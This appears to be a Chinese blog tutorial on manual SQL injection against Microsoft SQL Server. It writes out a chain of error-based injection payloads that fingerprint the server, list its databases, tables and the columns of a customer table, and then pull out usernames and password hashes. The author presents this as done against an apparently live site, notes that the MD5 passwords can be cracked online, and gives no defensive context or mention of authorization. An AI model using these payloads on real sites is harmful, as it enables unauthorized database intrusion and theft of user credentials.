mssql注入和mysql注入_MSSQL手工注入

注入点屏蔽了and语句and 1=2没有报错,就用or语句。

7a9ce980d52d1acbc74c2d6c1ec5e486.png

4b1e0d58dbdd55a2eb68711b9fa2a999.png

and (select count(*) from sysobjects)>0返回正常就是mssql数据库

d00a0ef72064833466d4bcff1f42a663.png

and 1=(select @@version)查看版本信息

28a83b3969fbab5639ccc9494ce480fc.png

and 1=(select db_name())获取当前所在数据库名(对其他数据库没有权限)

6d83501881523bf7365f229f38453ab7.png

and 1=(select top 1 name from master..sysdatabases where dbid>4)

获取第一个数据库名

32cc92f85bc0cd96bbfdc5f0feb54672.png

and 1=(select top 1 name from master..sysdatabases where dbid>4 andname <> '第一个数据库库名')获取第二个数据库库名

9a89d1bfb92458893102bda04becf49e.png

可以继续爆数据库:and 1=(select top 1 name from master..sysdatabaseswhere dbid>4 and name <> '第一个库名' and name <> '第二个库名')

89ea754e5511a8c0322e6abb64069a16.png

以此类推我爆出了6个数据库

and 1=(select top 1 name from master..sysdatabases where dbid>4 andname <> '第一个库名' and name <> '第二个库名' and name <> '第三个库名' and name <> '第四个库名' and name <> '第五个库名' and name <> '第六个库名')

8664bcb6cb24139ac4fcac433699ffe8.png

获取第一个当前使用的数据库表名:and 1=(select top 1 name from sysobjects wherextype='u')

3df0490bb7724af6d36789f28eb3ab25.png

获取第二个当前使用的数据库表名:and 1=(select top 1 name from sysobjects where xtype='u’and name <> '第一个数据库表名')

0ad2e1791f6cd49465e0b95f9b96839e.png

以此类推一直把所有表名全部爆出(超痛苦~)

and 1=(select top 1 name from sysobjects wherextype='u' and name <> '表1' and name <> '表2' and name <> '表3' and name <> '表4' and name <> '表5' and name <> '.......................... and name <> '表42')

32d635169d9d0dc9b9a6d940c04a2c33.png

获取第一个当前使用的数据库中的表(CusTomer)中的字段:and 1=(select top 1 name from syscolumns whereid=(select id from sysobjects where name = 'CusTomer'))

9537b0c55af7d20fec0937d5e1eca8bb.png

同理,一直爆该表的字段,爆完为止:and 1=(select top 1 name from syscolumns where id= (select id fromsysobjects where name = 'CusTomer')and name <> 'Account' and name<> 'Account_UseMode' and name <> 'Address' and name <>'AvailDate' and name <> 'Bind_IP' and name <> 'ContactType' andname <> 'CreateDate' and name <> 'CusTomer_ID' and name <>'CusTomer_UUID' and name <> 'Discount' and name <> 'Distinction'and name <> 'IDCardNo' and name <> 'LastCheckDate' and name<> 'LastProgID' and name <> 'LastTime' and name <> 'ModiMail'and name <> 'ModiPass' and name <> 'PayMode' and name <>'PBAnswer' and name <> 'PBQuestion' and name <> 'Purchase_Mode' andname <> 'RealName' and name <> 'Status' and name  <> 'UserAge' and name <>'UserDuty' and name <> 'UserMail' and name <> 'UserMemo' and name<> 'UserName' and name <> 'UserPass' and name <>'UserTechPost')

b00d86a4603f8c8ec9753dffe6430342.png

获取第一个当前使用的数据库中的表(UserPass)中的列(CusTomer)的字段:and 1=(select top1 UserPass from CusTomer)

6a53f1f524a87c27b809e607f277b088.png

UserName需要一些技巧,需要编码:

76ebd27e69cca27950a847c346a0f2e0.png

账号密码都有了,密码是MD5加密,网上有很多都解密的!

欢迎大佬们多多批评指点!591e46b550c8882cc95e8d9ec039b5a6.gif

晨风

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值